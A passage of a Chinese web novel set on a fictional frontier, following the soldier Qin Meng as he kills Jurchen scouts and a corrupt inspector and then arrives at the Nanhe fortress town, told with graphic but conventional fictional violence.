“你我兄弟,少扯这些虚的。”秦猛板起脸孔。
张富贵重重点头,不再推辞:“好!那俺就厚着脸皮收下了!”
他上下打量着儿时玩伴,心头莫名涌起一阵复杂的唏嘘。
“这两年,左邻右舍没少帮衬俺家。”秦猛说着,转身往自家院门走,“这军功,我再给根生叔留一颗。”
“老李头?”张富贵忙道:“他年岁大了,怕是转不了边军,他大伢子在青阳县读书考秀才呢。给他侄子李山吧,那小子正好差一颗转边军。”
“成,知道了。”
呜咽的夜风刮过秦家小院,那扇破旧的柴门吱呀作响。秦猛轻轻推开,侧身闪入,正欲悄声回房。
突然,身后传来陈月娘压抑的、带着忧惧的声音。
“猛子哥?是你吗?”
“是我!”
秦猛身形一顿,舒了口气,随即眉头又拧紧,沉声问道:“月娘,你怎么没睡?”
“睡不,刚醒......”
陈月娘的声音低柔得像随时会被风吹散。
“哥,哥你回来啦?”里屋炕上,秦小芸似被惊醒,声音带着迷糊和乍起的惊喜。
窸窸窣窣声响,黑暗中火折子亮起一点微光,接着油灯被点燃,一颗豆大的火苗在土炕沿上跳跃,昏黄的光晕勉强撑开一小团暖色。
灯光映照下,两张小脸都带着挥之不去的憔悴和不安。
秦猛目光扫过妻妹,心口像被什么堵了一下。
他咧开嘴,露出一个宽慰的笑容,声音不高,却异常沉稳有力:“都安心睡吧,咱爹用命换的河滩田,拿回来了!”
他探手入怀,珍而重之地掏出一张叠得四四方方的薄纸——那承载着父亲秦武最后一搏的鲜血、奖励的军功田、承载着秦家根脉的地契!
“拿,拿回来了?”陈月娘猛地捂住嘴,眼泪瞬间决堤,从指缝间滚落。她踉跄一步,伸手想去触摸那张契纸,指尖却抖得厉害。
“哇!”
秦小芸再也忍不住,嚎啕一声扑下炕,死死抱住秦猛的腿,仰着小脸,泪眼模糊,“哥,真的?刘扒皮......他肯?他没为难你?”
“他不敢为难。”秦猛声音平静,大手轻轻拍了拍妹妹单薄的背,目光坚如磐石。
“去了,他就痛快给了。”
他不想多提,卸下肩头另一个沉甸甸的包裹,放在炕上,语气平缓得仿佛在说一件寻常小事。
“回堡路上,过了野猪林那片地头,遇着点小波折。撞上四个形迹鬼祟的汉子,穿黑衣别着刀,瞅着......像是从边关流窜进来的**探子。”
“啊!”秦小芸倒抽一口冷气,吓得再次捂住嘴:“鞑…**!那…那哥你没事吧?”
陈月娘脸色霎时惨白如纸,急忙上前,抓住秦猛的胳膊上下检视,声音都变了调:“猛哥儿,你,你没伤着吧?那些凶徒呢?他们......”
“放心,”秦猛示意自己完好无损,语气依旧沉稳,“几个不开眼的狗**想**,被我料理干净了。反倒是从他们身上搜刮到这些东西。”
他下巴点了点炕上的包裹,“正好补贴家用。”
包裹解开,哗啦啦——
几块黄澄澄的金元
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宝,十几锭大银锭滚落出来,在油灯火下反射出诱人光芒。底下压着几张面额不小的银票,还有两匹在边塞显得异常珍贵的上等绸缎。
他的目光沉静地掠过这些财货,“按帅司的通告,谁剿杀**、奸细,缴获归谁。不过......”
他抬眼,目光锐利地扫过妻妹:“眼下边塞不宁,堡子里也乱。这东西,绝不能对外透半个字!”
这一刻,空气仿佛凝固了。
陈月娘捏着衣角,用力点头:“我,我记住了,谁都不说!”
秦小芸瞪圆了眼睛,目光在金灿灿的元宝,银锭和哥哥那张棱角分明的脸之间来回打转。
少女惊骇之余,劫后余生的庆幸和一种近乎盲目崇拜的情绪在胸腔里翻涌:“哥,你,你真把**探子全,全收拾了?
还,还得了这些?”
“嗯,是深夜在堡子外野地撞上的,纯属意外,没人瞧见。这些钱货,来路光明正大。”
秦猛不再过多解释过程,径直从包裹里挑出最鼓囊的一个钱袋,不容置疑地塞进陈月娘手里。
“月娘,拿着。这是从那几个**探子身上搜出来的现钱,以后家里吃穿用度、人情往来,就靠你了。
也给你自己、给小芸,扯几身新布衣裳,打点像样的首饰。
我秦猛的女人妹子,天生丽质可人,该过几天好日子了!”
沉甸甸的钱袋骤然入怀,陈月娘双手都在发抖。
“可,可是......”
这钱的数目远超她想象,又关联着击杀**探子,这等泼天凶事,本能的不安攥紧了她的心。
“怕什么?”秦猛的目光如山岳般沉稳,声音斩钉截铁。
“几个不知死活的**奸细,欲潜入军堡刺探,杀便杀了。能换咱家过几天好日子,死得其所!
这钱,干净得很,你只管放心用!”
他顿了顿,环视着这间昏暗却承载着一家生计的小屋,眼神坚毅,“外头的事,有我顶着。
你们顾好家里,吃饱穿暖,开开心心过日子。
天,塌不下来!!”
陈月娘望着他刚毅沉着的脸庞,那山一般的担当终于给了她一丝依靠的力量。她深吸一口气,用力抱紧了怀里的钱袋,用力点了点头。
秦小芸也将小脸使劲贴在哥哥粗壮的胳膊上,泪痕未干,大眼睛里却亮晶晶的,全是劫后余生的安然和对哥哥毫不动摇的信赖与崇拜。
“东西收好,该花就花,莫委屈自个儿。”秦猛再次叮嘱,目光在两人脸上扫过。
“哦,对了昨晚在林子里耗了半宿,也不是白蹲,还打着了一头野猪,估摸两百斤开外。”
“真的?!”
秦小芸和陈月娘几乎是同时惊呼出声,脸上瞬间绽开惊喜。一个是为能沾荤腥而欢喜,另一个悬着的心总算是彻底放下。
“那还能有假?已交给富贵哥料理,天亮了去**。”
秦猛说完,转身朝外走,“燧堡那边还有些手续要办,得去报备一下,把这次的‘军功’带去登个记。
我去去就回,你俩赶紧去睡一会儿。”
话音未落,他魁梧的身影已融入了门外更深的夜色里。在牛棚角落寻到一辆朽了半边的破板车拖着,嘎吱作响地碾过寒霜土路扑向堡外。
冰冷刺骨的寒风迎面刮来。
他因室内暖意而略显混沌的头脑彻底清醒了。**奸细和真**的实际价值是天差地别......
第6章 杀**献功
晨曦未透,黎明的寒气凝结着林间枯草的寒霜。却掩盖不了地上的脚印和激烈搏杀的痕迹。
秦猛隐在高草丛后,锐利的目光扫过林中狼藉,确认无破绽后,攥紧板车朝河畔的烽燧堡挪动。
车子上,躺着四具“**”尸体,脑后小辫在摇摆。像是在痛诉某个家伙用这种冒名顶替之法。
“**!”秦猛喉间压抑的咒骂混着白气消散。
这混乱的世道逼得他不得不做个“老阴笔”。找不在场的证据,顺便多挣几个钱立点功......
车轱辘压枯枝发出嘎吱声响,尚未走出林子。
骤然间,从前方烽燧堡响起低沉急促的牛角号。
五响,代表五骑敌袭。
是烽燧台在警示附近村庄戒备。
秦猛瞳孔骤缩,猛推板车入矮树丛,如同狸猫伏身,四肢着地,匍匐至林地边缘高坡,拨开枯黄芦草,目光如淬毒**般射向烽燧堡。
映入眼帘的景象让他心头一沉。
果然有**骑兵来袭。
**,是大周王朝对草原游牧民族的统称。
只要入境劫掠,女真,契丹,匈奴等全被边民称为**。
此刻,燧堡外,五个黑影正策马绕着夯土堡墙奔腾游弋。
他们身形壮硕,剃光了脑壳中央,只留着两耳旁油亮的小辫,随着马匹的颠簸甩动着——典型的、凶残的女真辫子兵。
皮袍裹着魁梧身躯,腰间弯刀、手中角弓,不时虚射,朝燧堡叽里呱啦,狂笑,嚣张至极。
其中一人策马冲向燧堡,狞笑着拉弓,箭矢“嗖”地钉在堡门土墙,距离一个探头张望的守军脑袋不过三尺。
那人吓得“妈呀”一声缩回头去。
堡墙上人影晃动,但都死死缩在垛口后面,显然被对方精湛的箭术震慑,更怕暗处藏有伏兵,只能忍气坚守,任由五个**哨骑猖獗。
在空旷野地,草原异族擅长骑射,几个边军未必打得过一个。
但依托坚城堡垒进行防御,一个普通的戍卒就能轻松抵挡数倍之敌。
秦猛一眼扫去,心头迅速盘算。
五个,五个移动的军功,五匹健硕的战马!
前世刻进骨子里的战斗本能瞬间点燃。他眼神陡然变得凌厉如刀锋,手指下意识地搭上腰间那柄环首刀的冰冷刀柄,指节因用力而微微发白。
他正担心假**脑袋蒙混不过关。
转眼就来了五个真**——天赐良机,时不我待!
秦猛不再犹豫,身形如同融入阴影的豹子,借着稀疏林木和高大枯草的掩护,悄无声息地横向滑向那五个**的侧后方。
他脚下湿滑的枯草没至膝盖,声响被精准的步伐压到最低。时而猫腰潜行,时而匍匐前进。
秦猛缓缓靠近敌人,直至靠近队尾扭头嬉笑的**七八米时,才停下来,如石雕蛰伏,只剩平稳鼻息。
目标锁定,队尾那个正狂笑的**。
这蠢货唾沫横飞,和同伴炫耀着女真勇士的厉害,汉人的懦弱,对身后索命的死神一无所知。
秦猛动了!
如同蛰伏的毒蛇般发动致命一击。
他整个人从草丛中暴射而出,冲至目标身边跃起。左手精准而狠厉地狠狠掐住其喉咙,右手环首刀贴着颈侧软肉切入,精准割断颈动脉。
接着,秦猛刀刃向上、向内猛力一旋、一剜。
“呃......”
那被扼住脖子的**双眼差点瞪出眼眶,血丝布满眼球,软软地伏倒在马背上。
秦猛将他的身体甩开,双腿弯曲发力,矫健地跃上死者的马鞍——前世西藏军区战友倾囊相授骑术,射箭,在此刻生死搏杀间派上了大用。
然而,几乎就在他坐稳的刹那。
“嗖”,破空声炸响!
“呜——”
一道迅疾的黑影撕裂空气,直射秦猛面门。是一**兵发现异常后,射出的冷箭。
千钧一发,秦猛侧头躲避,同时右手闪电般将环首刀横在面门,身体几乎侧贴在马颈之后。
“嗤!”
冷箭擦着他的脸颊飞过,卷起的劲风刮得皮肤生疼,最终狠狠钉入地面,箭杆剧烈颤动嗡鸣。
第二箭未到,那射箭的**吼,附近一个**已然拔刀,嗷嗷怪叫着催马冲来,刀光雪亮。
秦猛目光冰冷如霜,双腿狠夹马腹。胯下的黄骠马吃痛,长嘶一声,四蹄发力猛地前冲。
迎着劈来的弯刀,秦猛的身体在马背上猛地一拧腰,再猛地送肩。右手环首刀带着身体旋转之力更快更狠地一记横斩,刀光如匹练。
“咔嚓!”
令人牙酸的骨裂声刺耳响起,刀刃精准地劈中对方握刀的手腕。
噗嗤,那**手腕应声而断,剧痛让他发出非人的惨嚎,本能地去捂断腕。
机会!
秦猛手腕如同灵蛇般一抖、一翻,环首刀瞬间由横斩转为斜撩。
自下而上,动作快到只留下寒光残影。
刀刃如切入热油般,划开了**因惨叫而暴露出、毫无防护的咽喉。惨嚎声戛然而止,只有“嗬嗬”的漏气声,以及脖子处喷涌的血沫。
呼吸之间,连毙两骑,震慑全场。
剩下的三个女真**彻底炸了锅,惊怒交加的咆哮声响彻河畔。
两人疯狂地搭箭引弓,剩下一个最凶悍的则咆哮着,催动战马,挺着弯刀,不管不顾地向秦猛冲过来。
秦猛脸上露出冷笑,扯缰绳突然转向陡峭矮坡,借地形为掩体,两支箭矢从头顶掠过钉入草地。
趁拉弓间隙,秦猛却策马折返,俯身贴马颈,环首刀蓄力。
双方接近时,**慌乱挥刀,却见马背上无人。
秦猛捕捉轨迹,手臂绷紧迎劈。
“镪!”
火星四溅,震得双方身形晃动,**胸前空门大开。
秦猛压下臂麻,反手就是肘击,如攻城锤,借冲势砸中其左胸口。
**喷血,身体后仰。
“死!”
秦猛刀如毒蛇刺出,穿透后心直透前胸。
三人眨眼毙命!
最后两**肝胆俱裂,调转马头亡命奔逃。
秦猛眼神如冰,策马直追其一。逃跑的**回头,慌忙射箭,秦猛轻松躲过,拍马追上,环首刀斜刺其后心窝,对方惨叫一声**。
最后一**已经奔逃至河滩,因慌乱不辩原路,马腿深陷淤泥之中,人被掀翻。
秦猛已经追来,**从后颈劈入,瞬间毙命。
五名女真探哨尽数伏诛,只剩河水流淌与马匹的鼻息。
搏杀声与惨叫声传上遂堡土墙,守军壮胆探头,火把晃动,却因天色朦胧,看不太真切。
连杀五人,秦猛也是气喘吁吁。
这具带伤的身体经剧烈搏杀,已至**之末。
他休息片刻后,将五具尸体拖拽搭上马背,牵马走向烽燧堡,土墙上有人张望,堡门依旧紧闭。
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距堡门百步,秦猛气沉丹田,大喝声刺破黎明:“南河堡军户子弟,秦猛,特来支援!”
他吼声如雷:“天黑察觉堡外**奸细徘徊,追斩四人。就在刚刚斩杀五个女真**探哨,九颗首级,求见燧堡秦什长,献功!”
堡墙上众守军听了,瞬间炸开锅!
“啥,九,九颗**首级?”
“秦猛?那个,那个‘二愣子’?”
“我的老天爷,怪不得外面没声了,他把**都宰了?”
惊呼声几乎掀顶。
守军挤在垛口,眼神炙热如狼。
堡门在几个汉子推动下开启缝隙,火光涌出门洞。
火把照亮坡下战场——秦猛昂首挺立,如铁铸丰碑,左手握角弓,右手提滴血血环首刀。
他身后五匹战马驮着**尸体,铁证如山。
“猛子?九具首级?!”
秦大壮跌撞着冲出燧堡,数了数马匹上的尸体,震惊又疑惑地打量秦猛。
“林带树丛还有四具,本是来燧堡,却又见**哨探。”秦猛平淡指身后,似在说宰杀疯狗。
“呃......”
秦大壮当即带人随他去林间,见板车上四具尸体、多人搏斗痕迹,以及许多银锭,铜钱,几匹上好的绸缎等财物,确认此事不假。
......
烽燧堡,篝火噼啪作响。
大锅里白粥翻滚冒泡,粗粮饼子烤得焦香四溢。
“九颗**首级,这可是天大的功劳,朝廷赏赐钱粮!”秦大壮喜得声音发颤,满脸红光。
秦猛目光扫过堡内面黄肌瘦的土兵,嘴角勾起一抹浅笑:“首级我只登记三颗,再留匹战马代步便够。其中两颗分给张富贵,李山。剩下四颗,谁要凑军功转正规军,现在就来领。”
南河堡正兵八人,土兵近三十。
很快,差一颗凑齐军功的四人被选定。
强弓手刘铁柱,刀盾手**,以及叫张龙,张虎兄弟,一个斥候,一个**手,皆是老兵。
秦猛看着秦大壮登记他们的信息,又继续说道:“剩下的缴获,几匹马、弓刀、皮甲,充入南河堡武库,让秦什长按需分给弟兄们用。”
人群瞬间爆发出震耳欢呼,个个眼里燃起光芒。秦大壮却愣在原地,满脸错愕地望着他。
秦猛嘴角勾起一抹浅笑,转身从板车上拎起钱袋,哗啦倒出银锭铜钱,又取过绸缎布匹。
“这些财物分了,弟兄们过得苦,堡里当值的人人有份!”
篝火旁众人猛地僵住,个个目瞪口呆!
按大周律例,边境战利品本是“谁杀敌就归谁”的规矩,可从没人像秦猛这样,全部分给弟兄。
见没人敢动,秦猛亲自上前发放,把银子绸缎塞到颤抖的守军手里,挨个拍拍他们的肩膀。
“拿着,咱们是过命的战友!”
“以后咱弟兄一起守家园,杀**,日子定会好起来!”
财物分得清清楚楚,连什长秦大壮都有份,唯独主持分配的秦猛两手空空,引得大伙错愕。
“猛子,你这是......”
“大壮叔,我有这个就够。”秦猛掏出个二两小银元宝晃了晃:“弟兄们都有家室,拿这笔钱给家人添件衣裳、办点年货,过个踏实年。”
人均十来两银子,够五口之家过上半年好日子。守军们紧攥着银子,眼眶发热,看向秦猛的眼神里,狂热的感激混着敬畏,悄然生了根。
第7章 杀伐果断
天色大亮,朝阳染红了界河。
确认河水未冰冻,**白天不会来。
秦大壮急着带秦猛去城寨登功。
秦猛回家见了陈月娘与秦小芸,换了身干净外衣,说了这事儿。陈月娘塞给他几个油纸包的鸡蛋饼子,秦小芸则帮哥哥拍去身上浮尘......
秦大壮、秦猛与张屠户、李山等人骑上战马,或赶着载九具首级的板车,出了铺堡,在朝阳下拉出长影,浩浩荡荡向南河城寨行去。
黄土道上,冷风如刀割面,马蹄声嘚嘚作响,敲碎了旷野的寂静。
秦大壮策马在前,秦猛断后压阵,张屠户与李山分护两侧,几名土兵赶着盖草的板车紧随其后。
车板之上,九具**的尸身静静躺着,那是他们换来军功赏赐的凭证,更是请功的敲门砖。
界河南岸的大周防线向来森严。
烽燧如星点缀原野,铺堡似棋布列要道,小则驻兵数十,大则屯卒数百。
而南河城寨这等核心军镇,更是驻守着上千边军精锐。幽州境内,驻扎着大周虎贲军。数万将士枕戈待旦,与草原各部隔河对峙、厮杀。
一行人马不停蹄,车驾飞驰。
待日头升至中天,变得炙热灼人时,南河城寨已遥遥在望。
途经一处岔路口,斜刺里突然冲出一彪人马!
约莫三四十号人,穿皂衣、外套皮甲,刀枪在握却个个懒懒散散,正是地方厢军的模样!这些州府兵向来疏于操练,远不如边军精锐。
领头者身着青袄袍,眼神阴鸷如鹰,正是青阳县巡检许方。
他身后跟着个白净面皮的青年,锦衣佩玉,与周遭军汉的粗粝格格不入,正是他的妻弟。
“站住,巡检司缉盗!”
巡检许方厉声喝止,率队蜂拥而至。厢兵们迅速散开,将去路死死堵住。
“巡检司的弟兄,我等是戍堡边军,为何拦路?”
秦大壮勒住马缰,手掌已扣住刀柄,眼底警惕之色毕露。
大周体制里,地方厢军拱卫州县却战力拉胯,粮饷远逊边军而心怀怨怼;边军则素来鄙夷厢军孱弱,双方关系本就不睦,冲突时有发生。
“放肆!你个小卒是什么身份?也敢这般说话?这位是巡检使臣许方许大人,你也配喊兄弟?”白面青年狐假虎威地呵斥,语气极尽轻蔑。
许巡检打着官腔:“巡检司奉命办案,严查境内可疑人等。”
他的目光却如钩子般,死死盯住板车稻草缝隙间露出的**长筒靴——那是战功凭证!
对养在后方的厢军而言,简直是送到嘴边的肥肉。
白面青年也看见了异常,拍马上前低声道:“姐夫,这是机会!
夺了军功你便能升迁。
他们不过几个小戍卒,杀了丢进河里,无人知晓......”
那小子话音虽轻,却逃不过秦猛敏锐的耳目。他眼中寒光骤然暴涨,摁住刀柄,杀心暗藏。
“原来是许巡检。”秦大壮强压下火气拱手,语气毫无诚意。
依大周律,七品以下穿青袍,这巡检实是个**品不入流,双方不同体系,本就用不着惧。
“哼,在下南河口烽燧堡什长秦大壮,押**首级赴城寨报功。军情如火,诸位,行个方便吧!”秦大壮的态度强硬,直接点明来意。
“报功?”
许方皮笑肉不笑,阴恻恻地道:“秦什长有所不知,南河镇昨夜发生了血案,刘保正父子,管家遇害,手段残忍,宅院被焚......”
秦猛面无表情地盯着他。
秦大壮却心头一震,刘德才竟被灭门?
他下意识瞥向秦猛。
刘扒皮强占了秦家的军功田,与他有仇怨,但秦猛昨夜连杀**,分身乏术,绝无可能。
转瞬之间,秦大壮已然醒悟,对方这是要找借口抢功。
果然,许巡检话锋一转,毒蛇般的视线扫过众人:“本官怀疑,昨夜入境行凶的**就是你们车上这些。
来人,连人带车扣回巡检司查......”
“放**狗屁!”
张屠户性子最烈,按捺不住破口大骂,“谁不知道**脑袋是军功,你们......”
“放肆!贱种找死!”
那白面青年勃然大怒,猛地策马冲上前,手中马鞭如毒蛇出洞,“啪”的一声狠狠抽在张屠户脸上,血痕瞬间浮现。
“敢骂朝廷命官?打死你这贱骨头!”
他狞笑着,扬鞭欲再抽,却听得一声炸雷般怒吼:“袭击边军,即是**!”
黑影如鬼魅欺近——却是秦猛抓住这转瞬即逝的契机,拍马杀出。
“哐啷”一声,**出鞘,寒芒快如闪电。
“噗嗤!”
腥血狂喷,一条握着马鞭的胳膊直飞上半空。
白面青年发出杀猪般的惨嚎:“手,我的手啊!”
那马匹受惊蹦跳,将他掀**背。
那白面青年落地,单手捂着胳膊,痛得翻滚不止。
全场死寂!
许方眼珠子瞬间血红:“小强......”
他“锵”的拔刀,歇斯底里地咆哮:“给老子**他,杀!”
几十个巡检司官兵如梦初醒,乱哄哄拔刀围上。
“哪个不怕诛九族?只管来!”
秦猛单手持血刀,勒马横立,一人一骑竟压得众人窒息。
他手中斩血的长刀,直指许方:“尔等胆大包天,抢功、栽赃,还袭击边军,伤我兄弟。此乃谋逆大罪,九族皆斩。再前进一步者,死!”
“抄家伙!”
秦大壮、张屠户等人目眦欲裂,钢刀**“哐啷”出鞘,以秦猛为中心结成冰冷战阵。
张屠户捂着火辣辣的脸,听着青年的惨叫,望着秦猛挺拔的背影,心头涌起一股滚烫的暖流。
这份为兄弟出头的决绝让他浑身热血翻涌。
“姐,姐夫......快剁了他......我,我要他死......”
地上断臂青年缓过劲来,朝秦猛怨毒嘶喊。
秦猛眼中厉芒一闪,再不留手。长刀归鞘,反手抽出马鞍上的骑兵**,手臂肌肉贲张如铁。
“噗!”
**如**出洞,破胸而过,将咒骂声与生命一同钉进泥地。
白面青年眼珠暴突,血沫从嘴角涌出,抽搐两下便没了声息。
“啊!老子跟你拼了!”
许方目睹小舅子惨死,彻
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底疯狂,挥刀冲来,几名亲兵也嚎叫着跟上。
“屡次袭击边军,勾结**行凶,反贼受死!”秦猛占据大义断喝一声,人马合一挺枪直刺。
枪尖呼啸而出,撕裂空气,直捅许方心窝。
“咔嚓,噗!”
枪尖破开薄甲透体而出,巨大的冲力将许方扎了个对穿。
秦猛狂吼发力,枪杆一挑一甩,许方的尸身如炮弹般砸翻两名亲兵,枪头顺势横扫猛砸。
“砰砰”两声,两颗头颅如西瓜般炸裂!
哐啷!
他单手**,环首刀出鞘如电,刀光夺目。
“噗嗤......”
血雾接连喷溅,三个扑上来的兵丁捂着脖颈栽倒,鲜血汩汩涌出。
眨眼间,主谋与心腹已横尸一地,血泊蔓延开来。
“鬼,鬼啊!”
其余厢兵魂飞魄散,兵器“咣当”落地,“扑通扑通”跪倒一片,吓得筛糠般发抖。
秦猛甩去刀上血珠,怒视众兵卒,声如寒冰:“把这些反贼尸体绑了,押去城寨作证陈述,尚有条活路。
谁想逃跑——这就是他的下场!”
他指着死不瞑目的许方:“听见了吗?”
“听见了......”
巡检司兵卒们应声如潮,声音抖得不成样子。
“呸,一群软脚虾。”张屠户与李山满脸鄙夷。
他们却不知,这地方军队**更甚,粮饷被层层克扣,底层兵丁连饱饭都吃不上,何来忠心可言?
轰隆隆!
大地忽然微震,铁蹄声如雷鸣般传来。
一队十余人的黑甲边骑如旋风卷至——城寨巡逻队到了。
秦猛立刻拍马上前,言简意赅地说明情况。
带队哨官见满地尸体,又瞅见板车上的**尸身,瞬间明白缘由,勃然大怒:“**厢军,瞎了眼敢动咱们虎贲的军功?全押回寨里。”
盘山道上,秦大壮望着身旁的秦猛,只觉后背发凉。这孩子自不再呆愣后,竟像是变了个人,武艺高强,杀起人来,竟如宰鸡般狠厉。
“叔,”秦猛似看穿他心思,望着前方城寨的巍峨轮廓,语气斩钉截铁,“在这混乱的边疆,仁义道德换不来活路,刀子才是真道理。
想过安生日子,就得比狼还凶,比虎更猛!
谁敢咬你,当场剁了他爪子!
不然,打了小的来老的,无穷无尽的报复,只会让你连骨头都剩不下。”
“大壮哥你就是太老实。”
张屠户吐了口唾沫,狠声道,“猛哥儿做得对!这口气,就得用血来出!”
“没错,俺们不是好欺负的。”
李山等军汉也用力点头,眼神里既有凶狠也有炽热,跟着秦猛这般凶猛的狠角色,活得才叫酣畅淋漓。
“可那姓许的是个朝廷武官。”秦大壮仍是忧心。
“那又怎地?他们坏了规矩在先,凭什么惯着他?”秦猛不屑的撇嘴,随即话锋突然一转:“大壮叔,杀了也是为民除害。方才那两人嘀咕,说咱们是戍堡小卒,人不过**个,杀了就杀了,丢进河里喂鱼,没人会发现。”
“直娘贼,杀得好!”
这话一出,引得众人齐声怒骂。
第8章 南河城寨
南河城寨。
如头恶兽,狰狞地盘踞在鹰嘴崖巅。
三面绝壁深涧,唯余那盘山驿道,如一条蜿蜒毒蛇,死死缠绕着山腰,扼守着通往塞外的咽喉。
三丈高的包砖城墙耸立如壁,密布黑洞洞的箭窗森然,碗口粗的床**冷冰冰地架在垛口后,矢锋在塞北的日头下,泛着不祥的幽光。
寨前辕门角楼——
数十颗风干发黑、面容扭曲的**头颅,如狰狞战旗高悬。
腥涩的山风吹过,头颅如地狱风铃般摇晃,无声诉说着边关最残酷的铁血法则与功勋簿。
“呜、呜——”
箭楼上低沉有力的号角声响起。
那是城寨巡逻队押着数十个巡检司官兵归来。秦猛,秦大壮领着队伍跟随队尾,协助看押。
伴随着刺耳的“吱呀”声,厚重的包铁寨门缓缓洞开。
门后,喧嚣的声浪如潮水般涌来。
映入眼帘的,是依托军寨数十年而形成的附寨。
地势稍缓处,密集的木屋、土坯房、低矮窝棚,如同病变的瘤子,沿着主干道向四面八方蔓生。
街道两旁,酒幡斜挑,布幌乱舞。
布庄、杂货铺子、叮当作响的铁匠炉、飘着牲口腥膻的车马店、透着廉价脂粉香的铺子、冒热气的食肆......
甚至还有几家酒旗高悬、带着浓烈西域风情的“胡姬楼”,以及那脂粉气熏人的勾栏画舫。
牵着健硕骆驼的西域商人操着生硬汉话讨价还价,敞着怀的粗豪军汉拎着酒坛醉步踉跄,身上铁叶甲哐啷作响,引得路人纷纷避让。
麻雀虽小,五脏俱全。
商队骡马穿梭,人声鼎沸,污浊的空气混合着食物、牲口和脂粉的气味,弥漫一种畸形的“繁荣”。
这哪里是浴血的沙场军堡?
分明是扎根边塞的一座浮华的集镇!
“老天爷,这也…太热闹了!”
几个初次跟随押送辎重来南河城寨的土兵瞪大了眼,张着嘴,被这光怪陆离的景象晃得头晕目眩。
“哼,热闹?”秦猛那冷硬的声音像冰锥般刺破喧嚣。
他按着腰间佩刀刀柄,在马背上张望,鹰隼般的目光锐利如剃刀,扫过这片被暖阳洒下的“繁华”。
酒楼雕花窗边,税吏正与富商勾肩搭背,推杯换盏间飘出刺耳的哄笑。
而几步之遥的河岸画舫精致窗棂内,影影绰绰的艳丽身影伴着丝竹声晃动,是另一个隔绝的声色世界。
视线下移,泥泞的墙角,几个衣衫褴褛的孩子正疯狂刨掘着烂泥里的烂菜根,塞进嘴里。
更深的巷弄阴影里,蜷缩着骨瘦如柴的人形,仅凭破席御寒,眼神空洞地注视着往来鞋履扬起的尘埃……
这繁华的油彩涂得再厚,也掩盖不住底下刺骨的贫瘠与千疮百孔。底层人的挣扎,像溃烂伤口渗出的脓血。
更远处,临近河岸的低洼区——那里是阳光遗忘的角落。
污臭的泥水上,密密麻麻的朽烂苇棚,随意搭架,污水横流,浑浊粘稠的空气污浊得足以令人窒息。
秦猛在路上就听说,一入冬,**频繁骚扰,城寨就会涌入大量流民,也会流入军堡定居。
但是亲眼目睹,那种触动又是不同。
粗粗望去,那片黑压压的破败之中,人口怕不下千余。
这哪里是“繁荣”?
分明是浮华的皮囊下,隐藏着随时可能爆发的灾难。
冬日烈阳给附寨街道带来些许暖意,也将畸形的“繁华”蒸腾出更刺鼻的气味。
秦猛等人骑马驾车,有铁甲寨兵随行,在喧嚣中撕开一条无形的通道,路人无不惊惶避让。
街角阴凉处,一个枯瘦如柴的老汉守着几乎散架的竹架,用熬得粘稠的麦芽糖勾画着糖人。
一只展翅欲飞的雄鹰在他的指下渐露雏形,糖色透亮,翅尖微微颤动,引得一群围观的流民孩童眼珠粘在上面,不断吞咽着干涩的唾沫,脏兮兮的脸上写满痴迷。
其中一个十来岁的男孩,身形格外瘦小伶俐,却饿得眼冒绿光。
一个绸缎庄老板骂骂咧咧掀帘而出,货摊边缘,一块精美的糕饼不慎跌落泥地。
“嘎吱”驶来一辆马车,快碾过时。
刹那间!
男孩如同一只嗅到血腥的灰鼠,瘦小的身影化为一道疾影扑出,目标精准——那块沾了泥的糕饼。
“嗷——!”
清脆的鞭子破空声与孩童撕心裂肺的惨嚎同时撕裂了阴沉的空气,像两把淬了冰的刀子,狠狠扎进人心。
那被迫停的马车上,车夫正扬着鞭子抽着那个男孩。
“哪来的野东西挡路,滚开!”
车夫粗鄙的骂声混着鞭响,嫌恶地啐了口,手腕再扬,鞭子噼啪作响,带着风声又要落下。
“狗仗人势的东西!”秦猛双目瞪圆,额角青筋突突直跳,怒喝如惊雷炸响。
他死死盯着那车夫,手已攥住腰间刀柄,正准备**。
可那佩刀终究没能斩碎这种丑恶。
“猛子,冷静!这是城寨地界!”秦大壮急忙扑上来,死死攥住他的胳膊不放。
他是真怕这个侄子如在半途中般,一言不合,拔刀**。
“**还不快滚!”秦大壮转过身,对着车夫扯开嗓子怒骂。
李山,张富贵等军汉个个目露凶光。
车夫顿时矮了半截,唯唯诺诺地甩响马鞭赶车,马车轱辘慌乱地碾过水洼,逃也似的没了踪影。
泥泞里,刚才那男孩拼死护住的糕饼早已不见踪影,或许是被车轮碾碎,或许是混进了污泥。
只有那个瘦弱的像根枯草的男孩,正用力鼓着腮帮子,含混地嚼着什么。
他抬起脏兮兮的小脸,朝着秦猛咧开嘴笑,眉宇间藏不住的感激。那种天真,像朵在尘埃里倔强绽开的花。
“大壮叔,我晓得轻重。”秦猛深吸一口气,也冲男孩笑了笑,随后扫视众人。
“现在还认为繁华吗?乱世中穷人命如草芥,唯有靠刀子。”
众人闻言,沉默不语。
他们同样看到那瘦弱的男孩和远处挣扎的流民。
……
盘山驿道尽头,依着主寨西墙的官衙,是这铁铸巨兽的心脏。
此处主人魏文,南河城寨知寨官,幽州虎贲军正将,官拜正六品,掌一营军马,扼守幽州北道门户。
大周王朝建国近两百载,自古天下将军定,不准将军见太平,崇文抑武的积弊早已深入骨髓。
魏文虽为城寨主官,统辖兵马训练、布置防务,抵御**入侵,却被严禁干涉政务民生。
主寨附寨的钱粮调度、百姓生计,全由幽州府委派的监镇官把持。
——这是皇室防武将掌权,叛乱的惯用手段,却也让边境防务与民生治理割裂成两张皮。
入冬以来,草原部落频繁南下,村坊、军堡被毁,百姓
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或被掳走或逃亡,陆续汇聚到城寨边缘。
可监镇官不愿养着这些光吃饭,不干活的人,禁止开仓救济,任由流民在寒冬里自生自灭。
魏文看着那些冻饿交加的身影,胸腔里的血气翻涌,却碍于体制束手束脚,只能另寻出路。
故而,晌午时分,官邸水榭灯火通明,檀香袅袅。
几位附寨的“体面人”正围坐其中:
官粮商李老板肥硕的身躯格外扎眼,油滑的税吏、行会头领,还有几位依附城寨的小世家子。
众人目光焦点,却非上首的魏将军,而是透过窗外,下方运河中那艘玲珑剔透的玉石画舫。
魏文端坐如渊。面容刚毅如黑铁铸就,刀削斧凿的线条在火光下显得格外冷硬。
他穿着洗得微微发白的正将军常服,更衬得肩背魁梧,气度如山。鹰隼般的眼神掠过下首宾客的逢迎,深不可测,如同寂静的火山。
“魏将军守此咽喉,令塞外鞑虏闻风丧胆,此乃南河万民之福啊!来,我敬将军一杯。”
胖粮商堆着挤出眼缝的笑,肥厚的手掌举杯。
魏文并未动作,只微微颔首:“食君之禄,忠君之事。无须挂齿。”
